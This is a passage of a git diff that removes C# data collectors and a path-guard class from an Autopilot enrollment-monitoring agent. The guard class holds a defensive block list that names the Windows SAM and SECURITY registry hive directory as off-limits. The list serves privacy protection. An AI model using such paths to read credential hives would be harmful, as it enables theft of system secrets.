data["_severityOverride"] = severityIfFound; - } - catch (Exception ex) - { - data["error"] = ex.Message; - } - - return data; - } - - private static string EscapeXPath(string value) - { - return value.Replace("'", "'"); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/FileCollector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/FileCollector.cs deleted file mode 100644 index 446aa753..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/FileCollector.cs +++ /dev/null @@ -1,110 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using AutopilotMonitor.Shared.Models; - -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather.Collectors -{ - public class FileCollector : IGatherRuleCollector - { - public string CollectorType => "file"; - - public Dictionary Execute(GatherRule rule, GatherRuleContext context) - { - var data = new Dictionary(); - var filePath = rule.Target; - - if (string.IsNullOrEmpty(filePath)) - return data; - - // Expand custom tokens (%LOGGED_ON_USER_PROFILE%) and standard environment variables - var userProfilePath = UserProfileResolver.ContainsUserProfileToken(filePath) - ? UserProfileResolver.GetLoggedOnUserProfilePath() : null; - filePath = UserProfileResolver.ExpandCustomTokens(filePath); - if (filePath == null) - return data; // Token present but no user logged on — skip silently - - // Guard: only allow enrollment-relevant file paths - if (!GatherRuleGuards.IsFilePathAllowed(filePath, context.UnrestrictedMode, userProfilePath)) - return context.EmitSecurityWarning(rule, "file", filePath); - - // Optional conditional severity based on existence - string severityIfExists = null; - string severityIfNotExists = null; - rule.Parameters?.TryGetValue("severityIfExists", out severityIfExists); - rule.Parameters?.TryGetValue("severityIfNotExists", out severityIfNotExists); - - try - { - if (File.Exists(filePath)) - { - var info = new FileInfo(filePath); - data["exists"] = true; - data["path"] = filePath; - data["size_bytes"] = info.Length; - data["last_modified"] = info.LastWriteTimeUtc.ToString("o"); - data["created"] = info.CreationTimeUtc.ToString("o"); - - // Read content if requested and file is small enough - string readContent; - if (rule.Parameters != null && rule.Parameters.TryGetValue("readContent", out readContent) && - readContent == "true" && info.Length < 50000) // Max 50KB - { - // Read the last 4000 chars — most useful for log files where recent entries matter - const int maxChars = 4000; - string content; - bool truncated = false; - using (var reader = new StreamReader(filePath)) - { - var full = reader.ReadToEnd(); - if (full.Length > maxChars) - { - content = full.Substring(full.Length - maxChars); - truncated = true; - } - else - { - content = full; - } - } - data["content"] = truncated ? "(truncated) ..." + content : content; - } - } - else if (Directory.Exists(filePath)) - { - data["exists"] = true; - data["is_directory"] = true; - data["path"] = filePath; - - var files = Directory.GetFiles(filePath); - data["file_count"] = files.Length; - data["files"] = string.Join(", ", files.Select(Path.GetFileName).Take(20)); - } - else - { - data["exists"] = false; - data["path"] = filePath; - } - } - catch (Exception ex) - { - data["error"] = ex.Message; - } - - // Apply conditional severity based on existence - if (data.ContainsKey("exists")) - { - var exists = data["exists"] is bool b ? b : data["exists"]?.ToString() == "True"; - if (exists && !string.IsNullOrEmpty(severityIfExists)) - data["_severityOverride"] = severityIfExists; - else if (!exists && !string.IsNullOrEmpty(severityIfNotExists)) - data["_severityOverride"] = severityIfNotExists; - } - - return data; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/JsonCollector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/JsonCollector.cs deleted file mode 100644 index 21597b73..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/JsonCollector.cs +++ /dev/null @@ -1,107 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json.Linq; - -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather.Collectors -{ - public class JsonCollector : IGatherRuleCollector - { - public string CollectorType => "json"; - - public Dictionary Execute(GatherRule rule, GatherRuleContext context) - { - var data = new Dictionary(); - var filePath = rule.Target; - - if (string.IsNullOrEmpty(filePath)) - return data; - - // Expand custom tokens (%LOGGED_ON_USER_PROFILE%) and standard environment variables - var userProfilePath = UserProfileResolver.ContainsUserProfileToken(filePath) - ? UserProfileResolver.GetLoggedOnUserProfilePath() : null; - filePath = UserProfileResolver.ExpandCustomTokens(filePath); - if (filePath == null) - return data; // Token present but no user logged on — skip silently - - if (!GatherRuleGuards.IsFilePathAllowed(filePath, context.UnrestrictedMode, userProfilePath)) - return context.EmitSecurityWarning(rule, "json", filePath); - - string jsonPath; - if (rule.Parameters == null || !rule.Parameters.TryGetValue("jsonpath", out jsonPath) || - string.IsNullOrEmpty(jsonPath)) - { - context.Logger.Warning($"JSON rule {rule.RuleId} has no 'jsonpath' parameter"); - data["error"] = "Missing required 'jsonpath' parameter"; - return data; - } - - int maxResults = 20; - string maxResultsStr; - if (rule.Parameters.TryGetValue("maxResults", out maxResultsStr)) - int.TryParse(maxResultsStr, out maxResults); - maxResults = Math.Min(maxResults, 100); - - try - { - if (!File.Exists(filePath)) - { - data["exists"] = false; - data["path"] = filePath; - return data; - } - - var info = new FileInfo(filePath); - if (info.Length > 200 * 1024) // 200 KB limit - { - data["error"] = $"File too large ({info.Length} bytes, max 200 KB)"; - data["path"] = filePath; - return data; - } - - string content; - using (var reader = new StreamReader(filePath)) - { - content = reader.ReadToEnd(); - } - - var token = JToken.Parse(content); - var results = token.SelectTokens(jsonPath).Take(maxResults).ToList(); - - data["path"] = filePath; - data["query"] = jsonPath; - data["matchCount"] = results.Count; - - if (results.Count == 1) - { - data["value"] = TruncateMessage(results[0].ToString(), 2000); - } - - if (results.Count > 0) - { - var matchStrings = results.Select(r => TruncateMessage(r.ToString(), 500)).ToList(); - data["matches"] = string.Join("\n---\n", matchStrings); - } - } - catch (Exception ex) - { - data["error"] = ex.Message; - data["path"] = filePath; - data["query"] = jsonPath; - } - - return data; - } - - private static string TruncateMessage(string message, int maxLength) - { - if (string.IsNullOrEmpty(message) || message.Length <= maxLength) - return message; - return message.Substring(0, maxLength) + "..."; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/LogParserCollector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/LogParserCollector.cs deleted file mode 100644 index 0fedc284..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/LogParserCollector.cs +++ /dev/null @@ -1,313 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Text.RegularExpressions; -using AutopilotMonitor.Shared.Models; - -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather.Collectors -{ - public class LogParserCollector : IGatherRuleCollector - { - public string CollectorType => "logparser"; - - /// - /// Executes the log parser rule. Returns null because logparser emits events directly - /// via context.OnEventCollected rather than returning a single result dictionary. - /// - public Dictionary Execute(GatherRule rule, GatherRuleContext context) - { - var filePath = rule.Target; - if (string.IsNullOrEmpty(filePath)) - return null; - - // Expand custom tokens (%LOGGED_ON_USER_PROFILE%) and standard environment variables - var userProfilePath = UserProfileResolver.ContainsUserProfileToken(filePath) - ? UserProfileResolver.GetLoggedOnUserProfilePath() : null; - filePath = UserProfileResolver.ExpandCustomTokens(filePath); - if (filePath == null) - return null; // Token present but no user logged on — skip silently - - // Apply IME log path override if set - if (!string.IsNullOrEmpty(context.ImeLogPathOverride)) - { - var fileName = Path.GetFileName(filePath); - filePath = Path.Combine(context.ImeLogPathOverride, fileName); - } - - // Get parameters - string patternStr; - if (rule.Parameters == null || !rule.Parameters.TryGetValue("pattern", out patternStr) || - string.IsNullOrEmpty(patternStr)) - { - context.Logger.Warning($"LogParser rule {rule.RuleId} has no 'pattern' parameter"); - return null; - } - - string trackPositionStr; - bool trackPosition = true; - if (rule.Parameters.TryGetValue("trackPosition", out trackPositionStr)) - bool.TryParse(trackPositionStr, out trackPosition); - - string maxLinesStr; - int maxLines = 1000; - if (rule.Parameters.TryGetValue("maxLines", out maxLinesStr)) - int.TryParse(maxLinesStr, out maxLines); - - // Determine format: "cmtrace" (default) or "text" for plain text logs - string formatStr; - bool isTextMode = false; - if (rule.Parameters.TryGetValue("format", out formatStr)) - isTextMode = string.Equals(formatStr, "text", StringComparison.OrdinalIgnoreCase); - - Regex pattern; - try - { - pattern = new Regex(patternStr, RegexOptions.Compiled, TimeSpan.FromSeconds(1)); - } - catch (Exception ex) - { - context.Logger.Warning($"LogParser rule {rule.RuleId} has invalid regex: {ex.Message}"); - return null; - } - - // Resolve file paths — supports wildcards (* and ?) in the filename portion - var resolvedPaths = ResolveLogPaths(filePath, rule.RuleId, context); - if (resolvedPaths.Count == 0) - { - context.Logger.Debug($"LogParser rule {rule.RuleId}: no files found for: {filePath}"); - return null; - } - - foreach (var resolvedPath in resolvedPaths) - { - ProcessLogFile(resolvedPath, rule, pattern, trackPosition, maxLines, isTextMode, context); - } - - return null; - } - - private static List ResolveLogPaths(string filePath, string ruleId, GatherRuleContext context) - { - var fileNamePart = Path.GetFileName(filePath); - - // No wildcards — single file - if (!fileNamePart.Contains("*") && !fileNamePart.Contains("?")) - { - if (File.Exists(filePath)) - return new List { filePath }; - return new List(); - } - - // Wildcard expansion - var directory = Path.GetDirectoryName(filePath); - if (string.IsNullOrEmpty(directory) || !Directory.Exists(directory)) - return new List(); - - try - { - // Return matched files sorted by last write time (newest first), capped at 20 - return Directory.GetFiles(directory, fileNamePart) - .OrderByDescending(f => new FileInfo(f).LastWriteTimeUtc) - .Take(20) - .ToList(); - } - catch (Exception ex) - { - context.Logger.Warning($"LogParser rule {ruleId}: wildcard expansion failed for {filePath}: {ex.Message}"); - return new List(); - } - } - - private static void ProcessLogFile(string filePath, GatherRule rule, Regex pattern, - bool trackPosition, int maxLines, bool isTextMode, GatherRuleContext context) - { - try - { - var fileInfo = new FileInfo(filePath); - long startPosition = trackPosition - ? context.FilePositionTracker.GetSafePosition(filePath, fileInfo.Length) - : 0; - - // Nothing new to read - if (startPosition >= fileInfo.Length) - return; - - int matchCount = 0; - int linesRead = 0; - long endPosition = startPosition; - - using (var stream = new FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) - { - stream.Seek(startPosition, SeekOrigin.Begin); - - using (var reader = new StreamReader(stream, Encoding.UTF8)) - { - string line; - while ((line = reader.ReadLine()) != null && linesRead < maxLines) - { - linesRead++; - - if (isTextMode) - { - // Text mode: match regex directly against the raw line - Match match; - try - { - match = pattern.Match(line); - } - catch (RegexMatchTimeoutException) - { - continue; - } - if (!match.Success) - continue; - - var data = new Dictionary(); - foreach (var groupName in pattern.GetGroupNames()) - { - if (groupName == "0") continue; - var group = match.Groups[groupName]; - if (group.Success) - data[groupName] = group.Value; - } - - data["logLine"] = TruncateMessage(line, 500); - data["logLineNumber"] = linesRead; - data["logFile"] = Path.GetFileName(filePath); - data["ruleId"] = rule.RuleId; - data["ruleTitle"] = rule.Title; - - var eventType = !string.IsNullOrEmpty(rule.OutputEventType) - ? rule.OutputEventType - : "logparser_match"; - var severity = GatherRuleContext.ParseSeverity(rule.OutputSeverity); - - context.OnEventCollected(new EnrollmentEvent - { - SessionId = context.SessionId, - TenantId = context.TenantId, - Timestamp = DateTime.UtcNow, - EventType = eventType, - Severity = severity, - Source = "GatherRuleExecutor", - Message = $"Gather: {rule.Title}", - Data = data - }); - - matchCount++; - } - else - { - // CMTrace mode: parse line as CMTrace format, match regex against message - CmTraceLogEntry entry; - if (!CmTraceLogParser.TryParseLine(line, out entry)) - continue; - - Match match; - try - { - match = pattern.Match(entry.Message); - } - catch (RegexMatchTimeoutException) - { - continue; - } - if (!match.Success) - continue; - - var data = new Dictionary(); - foreach (var groupName in pattern.GetGroupNames()) - { - if (groupName == "0") continue; - var group = match.Groups[groupName]; - if (group.Success) - data[groupName] = group.Value; - } - - data["logTimestamp"] = entry.Timestamp.ToString("o"); - data["logComponent"] = entry.Component; - data["logType"] = entry.Type; - data["logMessage"] = TruncateMessage(entry.Message, 500); - data["logFile"] = Path.GetFileName(filePath); - data["ruleId"] = rule.RuleId; - data["ruleTitle"] = rule.Title; - - var eventType = !string.IsNullOrEmpty(rule.OutputEventType) - ? rule.OutputEventType - : "logparser_match"; - var severity = MapCmTraceTypeToSeverity(entry.Type, rule.OutputSeverity); - - context.OnEventCollected(new EnrollmentEvent - { - SessionId = context.SessionId, - TenantId = context.TenantId, - Timestamp = entry.Timestamp, - EventType = eventType, - Severity = severity, - Source = "GatherRuleExecutor", - Message = $"Gather: {rule.Title}", - Data = data - }); - - matchCount++; - } - } - - // Capture the final stream position after reading - endPosition = stream.Position; - } - } - - if (trackPosition) - context.FilePositionTracker.SetPosition(filePath, endPosition); - - if (matchCount > 0) - context.Logger.Debug($"LogParser rule {rule.RuleId}: {matchCount} matches from {linesRead} lines in {Path.GetFileName(filePath)}"); - } - catch (Exception ex) - { - context.Logger.Warning($"LogParser rule {rule.RuleId} failed reading {filePath}: {ex.Message}"); - } - } - - private static EventSeverity MapCmTraceTypeToSeverity(int cmTraceType, string ruleOverride) - { - // If the rule specifies a severity, use it - if (!string.IsNullOrEmpty(ruleOverride)) - { - switch (ruleOverride.ToLower()) - { - case "debug": return EventSeverity.Debug; - case "info": return EventSeverity.Info; - case "warning": return EventSeverity.Warning; - case "error": return EventSeverity.Error; - case "critical": return EventSeverity.Critical; - } - } - - // Otherwise derive from CMTrace log type - switch (cmTraceType) - { - case 2: return EventSeverity.Warning; - case 3: return EventSeverity.Error; - default: return EventSeverity.Info; - } - } - - private static string TruncateMessage(string message, int maxLength) - { - if (string.IsNullOrEmpty(message) || message.Length <= maxLength) - return message; - return message.Substring(0, maxLength) + "..."; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/RegistryCollector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/RegistryCollector.cs deleted file mode 100644 index 18b4423d..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/RegistryCollector.cs +++ /dev/null @@ -1,156 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using AutopilotMonitor.Shared.Models; -using Microsoft.Win32; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather.Collectors -{ - public class RegistryCollector : IGatherRuleCollector - { - public string CollectorType => "registry"; - - public Dictionary Execute(GatherRule rule, GatherRuleContext context) - { - var data = new Dictionary(); - var path = rule.Target; - - if (string.IsNullOrEmpty(path)) - return data; - - // Determine hive - RegistryKey hive = null; - string subPath = path; - - if (path.StartsWith("HKLM\\", StringComparison.OrdinalIgnoreCase) || - path.StartsWith("HKEY_LOCAL_MACHINE\\", StringComparison.OrdinalIgnoreCase)) - { - hive = Registry.LocalMachine; - subPath = path.Substring(path.IndexOf('\\') + 1); - } - else if (path.StartsWith("HKCU\\", StringComparison.OrdinalIgnoreCase) || - path.StartsWith("HKEY_CURRENT_USER\\", StringComparison.OrdinalIgnoreCase)) - { - hive = Registry.CurrentUser; - subPath = path.Substring(path.IndexOf('\\') + 1); - } - else - { - // Default to HKLM - hive = Registry.LocalMachine; - } - - // Guard: only allow enrollment-relevant registry paths - if (!GatherRuleGuards.IsRegistryPathAllowed(subPath, context.UnrestrictedMode)) - return context.EmitSecurityWarning(rule, "registry", path); - - // Determine explicit valueName from parameters - string explicitValueName = null; - rule.Parameters?.TryGetValue("valueName", out explicitValueName); - - // Check if subkey enumeration is requested - string listSubkeysStr = null; - rule.Parameters?.TryGetValue("listSubkeys", out listSubkeysStr); - bool listSubkeys = string.Equals(listSubkeysStr, "true", StringComparison.OrdinalIgnoreCase); - - // Optional conditional severity based on existence - string severityIfExists = null; - string severityIfNotExists = null; - rule.Parameters?.TryGetValue("severityIfExists", out severityIfExists); - rule.Parameters?.TryGetValue("severityIfNotExists", out severityIfNotExists); - - try - { - using (var key = hive.OpenSubKey(subPath, false)) - { - if (key == null) - { - // The key doesn't exist as a sub-key. If no explicit valueName was given, - // check whether the last path segment is a value name in the parent key. - // This handles the common case where the user specifies the full - // "HKLM\...\KeyName\ValueName" path directly in Target. - if (string.IsNullOrEmpty(explicitValueName) && !listSubkeys) - { - var lastBackslash = subPath.LastIndexOf('\\'); - if (lastBackslash > 0) - { - var parentSubPath = subPath.Substring(0, lastBackslash); - var inferredValueName = subPath.Substring(lastBackslash + 1); - - using (var parentKey = hive.OpenSubKey(parentSubPath, false)) - { - if (parentKey != null) - { - var valueNames = parentKey.GetValueNames(); - if (Array.Exists(valueNames, n => string.Equals(n, inferredValueName, StringComparison.OrdinalIgnoreCase))) - { - var value = parentKey.GetValue(inferredValueName); - data["exists"] = true; - data["path"] = path.Substring(0, path.LastIndexOf('\\')); - data[inferredValueName] = value?.ToString(); - return data; - } - } - } - } - } - - data["exists"] = false; - data["path"] = path; - return data; - } - - data["exists"] = true; - data["path"] = path; - - if (listSubkeys) - { - // Enumerate subkey names (max 100) - var subKeyNames = key.GetSubKeyNames().Take(100).ToArray(); - data["subkey_count"] = subKeyNames.Length; - for (int i = 0; i < subKeyNames.Length; i++) - { - data[$"subkey_{i + 1}"] = subKeyNames[i]; - } - } - else if (!string.IsNullOrEmpty(explicitValueName)) - { - // Read specific value if specified in parameters - var value = key.GetValue(explicitValueName); - data[explicitValueName] = value?.ToString(); - } - else - { - // Read all values - foreach (var name in key.GetValueNames().Take(50)) // Limit to 50 values - { - try - { - var value = key.GetValue(name); - var displayName = string.IsNullOrEmpty(name) ? "(Default)" : name; - data[displayName] = value?.ToString(); - } - catch { } - } - } - } - } - catch (Exception ex) - { - data["error"] = ex.Message; - } - - // Apply conditional severity based on existence - if (data.ContainsKey("exists")) - { - var exists = data["exists"] is bool b ? b : data["exists"]?.ToString() == "True"; - if (exists && !string.IsNullOrEmpty(severityIfExists)) - data["_severityOverride"] = severityIfExists; - else if (!exists && !string.IsNullOrEmpty(severityIfNotExists)) - data["_severityOverride"] = severityIfNotExists; - } - - return data; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/WmiCollector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/WmiCollector.cs deleted file mode 100644 index 2b30f9ab..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/WmiCollector.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Management; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather.Collectors -{ - public class WmiCollector : IGatherRuleCollector - { - public string CollectorType => "wmi"; - - public Dictionary Execute(GatherRule rule, GatherRuleContext context) - { - var data = new Dictionary(); - var query = rule.Target; - - if (string.IsNullOrEmpty(query)) - return data; - - // Guard: only allow known-safe WMI classes - if (!GatherRuleGuards.IsWmiQueryAllowed(query, context.UnrestrictedMode)) - return context.EmitSecurityWarning(rule, "wmi", query); - - try - { - using (var searcher = new ManagementObjectSearcher(query)) - { - int index = 0; - foreach (ManagementObject obj in searcher.Get()) - { - var item = new Dictionary(); - foreach (var prop in obj.Properties) - { - try - { - item[prop.Name] = prop.Value?.ToString(); - } - catch { } - } - - if (item.Count > 0) - { - // For single result, flatten; for multiple, use indexed keys - if (index == 0) - { - foreach (var kvp in item) - data[kvp.Key] = kvp.Value; - } - else - { - data[$"item_{index}"] = string.Join(", ", item.Select(k => $"{k.Key}={k.Value}")); - } - } - index++; - - if (index >= 20) break; // Limit results - } - } - } - catch (Exception ex) - { - data["error"] = ex.Message; - } - - return data; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/XmlCollector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/XmlCollector.cs deleted file mode 100644 index f9ce07dc..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/Collectors/XmlCollector.cs +++ /dev/null @@ -1,166 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Xml; -using System.Xml.Linq; -using System.Xml.XPath; -using AutopilotMonitor.Shared.Models; - -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather.Collectors -{ - public class XmlCollector : IGatherRuleCollector - { - public string CollectorType => "xml"; - - public Dictionary Execute(GatherRule rule, GatherRuleContext context) - { - var data = new Dictionary(); - var filePath = rule.Target; - - if (string.IsNullOrEmpty(filePath)) - return data; - - // Expand custom tokens (%LOGGED_ON_USER_PROFILE%) and standard environment variables - var userProfilePath = UserProfileResolver.ContainsUserProfileToken(filePath) - ? UserProfileResolver.GetLoggedOnUserProfilePath() : null; - filePath = UserProfileResolver.ExpandCustomTokens(filePath); - if (filePath == null) - return data; // Token present but no user logged on — skip silently - - if (!GatherRuleGuards.IsFilePathAllowed(filePath, context.UnrestrictedMode, userProfilePath)) - return context.EmitSecurityWarning(rule, "xml", filePath); - - string xpath; - if (rule.Parameters == null || !rule.Parameters.TryGetValue("xpath", out xpath) || - string.IsNullOrEmpty(xpath)) - { - context.Logger.Warning($"XML rule {rule.RuleId} has no 'xpath' parameter"); - data["error"] = "Missing required 'xpath' parameter"; - return data; - } - - int maxResults = 20; - string maxResultsStr; - if (rule.Parameters.TryGetValue("maxResults", out maxResultsStr)) - int.TryParse(maxResultsStr, out maxResults); - maxResults = Math.Min(maxResults, 100); - - try - { - if (!File.Exists(filePath)) - { - data["exists"] = false; - data["path"] = filePath; - return data; - } - - var info = new FileInfo(filePath); - if (info.Length > 200 * 1024) // 200 KB limit - { - data["error"] = $"File too large ({info.Length} bytes, max 200 KB)"; - data["path"] = filePath; - return data; - } - - // Parse XML with DTD processing disabled (XXE prevention) - var settings = new XmlReaderSettings - { - DtdProcessing = DtdProcessing.Prohibit, - XmlResolver = null - }; - - XDocument doc; - using (var stream = new FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) - using (var xmlReader = XmlReader.Create(stream, settings)) - { - doc = XDocument.Load(xmlReader); - } - - // Set up namespace resolver if namespaces are provided - XmlNamespaceManager nsManager = null; - string namespacesStr; - if (rule.Parameters.TryGetValue("namespaces", out namespacesStr) && - !string.IsNullOrEmpty(namespacesStr)) - { - nsManager = new XmlNamespaceManager(new NameTable()); - foreach (var ns in namespacesStr.Split(';')) - { - var parts = ns.Split(new[] { '=' }, 2); - if (parts.Length == 2 && !string.IsNullOrEmpty(parts[0]) && !string.IsNullOrEmpty(parts[1])) - { - nsManager.AddNamespace(parts[0].Trim(), parts[1].Trim()); - } - } - } - - // Execute XPath — try element selection first, fall back to evaluate for scalar/attribute results - var elements = nsManager != null - ? doc.XPathSelectElements(xpath, nsManager).Take(maxResults).ToList() - : doc.XPathSelectElements(xpath).Take(maxResults).ToList(); - - data["path"] = filePath; - data["query"] = xpath; - - if (elements.Count > 0) - { - data["matchCount"] = elements.Count; - if (elements.Count == 1) - { - data["value"] = TruncateMessage(elements[0].ToString(), 2000); - } - var matchStrings = elements.Select(e => TruncateMessage(e.ToString(), 500)).ToList(); - data["matches"] = string.Join("\n---\n", matchStrings); - } - else - { - // Try XPathEvaluate for scalar results (attributes, text(), count(), etc.) - var evalResult = nsManager != null - ? doc.XPathEvaluate(xpath, nsManager) - : doc.XPathEvaluate(xpath); - - if (evalResult is IEnumerable enumerable) - { - var items = enumerable.Take(maxResults).ToList(); - data["matchCount"] = items.Count; - if (items.Count == 1) - { - data["value"] = TruncateMessage(items[0].ToString(), 2000); - } - if (items.Count > 0) - { - data["matches"] = string.Join("\n---\n", - items.Select(i => TruncateMessage(i.ToString(), 500))); - } - } - else if (evalResult != null) - { - data["matchCount"] = 1; - data["value"] = TruncateMessage(evalResult.ToString(), 2000); - } - else - { - data["matchCount"] = 0; - } - } - } - catch (Exception ex) - { - data["error"] = ex.Message; - data["path"] = filePath; - data["query"] = xpath; - } - - return data; - } - - private static string TruncateMessage(string message, int maxLength) - { - if (string.IsNullOrEmpty(message) || message.Length <= maxLength) - return message; - return message.Substring(0, maxLength) + "..."; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/DiagnosticsPathGuards.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/DiagnosticsPathGuards.cs deleted file mode 100644 index c326d6d1..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/DiagnosticsPathGuards.cs +++ /dev/null @@ -1,253 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather -{ - /// - /// Privacy and security guards for configurable diagnostics log paths. - /// - /// Restricts user-defined diagnostics paths to directories that contain only - /// enrollment- and device-management-relevant log files, preventing PII leakage. - /// - /// Rules: - /// - The path (after environment variable expansion and full-path normalization) - /// must start with one of the allowed prefixes. - /// - Segment-bounded matching: next character after the prefix must be '\' or end of string. - /// - Wildcards ('*', '?') are only permitted in the last path segment (filename part). - /// - Path traversal sequences are blocked via Path.GetFullPath normalization. - /// - public static class DiagnosticsPathGuards - { - // ----------------------------------------------------------------------- - // Allowed directory prefixes for diagnostics log paths - // (expanded, absolute paths — no environment variables) - // ----------------------------------------------------------------------- - public static readonly IReadOnlyList AllowedDiagnosticsPathPrefixes = new[] - { - // Autopilot Monitor agent logs - @"C:\ProgramData\AutopilotMonitor", - - // Intune Management Extension - @"C:\ProgramData\Microsoft\IntuneManagementExtension\Logs", - - // Windows Setup & OOBE - @"C:\Windows\Panther", - - // Windows general logs - @"C:\Windows\Logs", - - // Windows Setup Diagnostics - @"C:\Windows\SetupDiag", - - // Windows Update reporting - @"C:\Windows\SoftwareDistribution\ReportingEvents.log", - - // Windows Event Log files - @"C:\Windows\System32\winevt\Logs", - - // SCCM / ConfigMgr - @"C:\Windows\CCM\Logs", - - // Microsoft Diagnostic Log CSP - @"C:\ProgramData\Microsoft\DiagnosticLogCSP", - - // Windows Error Reporting - @"C:\ProgramData\Microsoft\Windows\WER", - - // Windows Component-Based Servicing - @"C:\Windows\Logs\CBS", - - // Custom install logs (e.g. app installers writing to C:\Install\Log\) - @"C:\Install\Log", - }; - - // Hard blocks: never allowed, even in unrestricted mode - private static readonly string BlockedUsersPrefix = Path.GetFullPath(@"C:\Users"); - private static readonly string[] AdditionalHardBlockedPrefixes = new[] - { - @"C:\Windows\System32\config", // SAM, SECURITY, SYSTEM hives - }; - - // Allowed subdirectories under a user profile (used with %LOGGED_ON_USER_PROFILE% token) - private static readonly string[] AllowedUserProfileSubdirs = new[] - { - @"AppData\Local", - @"AppData\Roaming", - }; - - /// - /// Returns true if the given path is allowed for diagnostics collection. - /// Expands environment variables and normalises to a full path before checking. - /// Wildcards in the last path segment are supported. - /// - public static bool IsDiagnosticsPathAllowed(string rawPath) - => IsDiagnosticsPathAllowed(rawPath, unrestrictedMode: false, userProfilePath: null); - - /// - /// Returns true if the given path is allowed for diagnostics collection. - /// When unrestrictedMode is true, all paths are allowed except C:\Users (privacy protection). - /// Path normalization and traversal protection always apply regardless of mode. - /// - public static bool IsDiagnosticsPathAllowed(string rawPath, bool unrestrictedMode) - => IsDiagnosticsPathAllowed(rawPath, unrestrictedMode, userProfilePath: null); - - /// - /// Returns true if the given path is allowed for diagnostics collection. - /// When userProfilePath is provided (from %LOGGED_ON_USER_PROFILE% token), paths under - /// the user's AppData\Local and AppData\Roaming are additionally allowed. - /// - public static bool IsDiagnosticsPathAllowed(string rawPath, bool unrestrictedMode, string userProfilePath) - { - if (string.IsNullOrWhiteSpace(rawPath)) - return false; - - try - { - // Split off a trailing wildcard segment before normalization - var expanded = Environment.ExpandEnvironmentVariables(rawPath); - var fileName = Path.GetFileName(expanded); - var hasWildcard = fileName.Contains('*') || fileName.Contains('?'); - - // Normalize the directory part (or full path if no wildcard) - string normalizedDir; - if (hasWildcard) - { - var dir = Path.GetDirectoryName(expanded); - if (string.IsNullOrEmpty(dir)) - return false; - normalizedDir = Path.GetFullPath(dir); - } - else - { - normalizedDir = Path.GetFullPath(expanded); - } - - // Symlink / junction / reparse point detection — fail-closed - if (IsSymlinkOrReparsePoint(normalizedDir)) - return false; - - // C:\Users block always applies (even in unrestricted mode) - // Exception: paths under \AppData\Local or AppData\Roaming - // are allowed when the %LOGGED_ON_USER_PROFILE% token was used. - if (normalizedDir.StartsWith(BlockedUsersPrefix, StringComparison.OrdinalIgnoreCase) && - (normalizedDir.Length == BlockedUsersPrefix.Length || - normalizedDir[BlockedUsersPrefix.Length] == Path.DirectorySeparatorChar)) - { - if (!IsUserProfileSubpathAllowed(normalizedDir, userProfilePath)) - return false; - } - - // Additional hard-blocked paths (even in unrestricted mode) - foreach (var blocked in AdditionalHardBlockedPrefixes) - { - var normalizedBlocked = Path.GetFullPath(blocked); - if 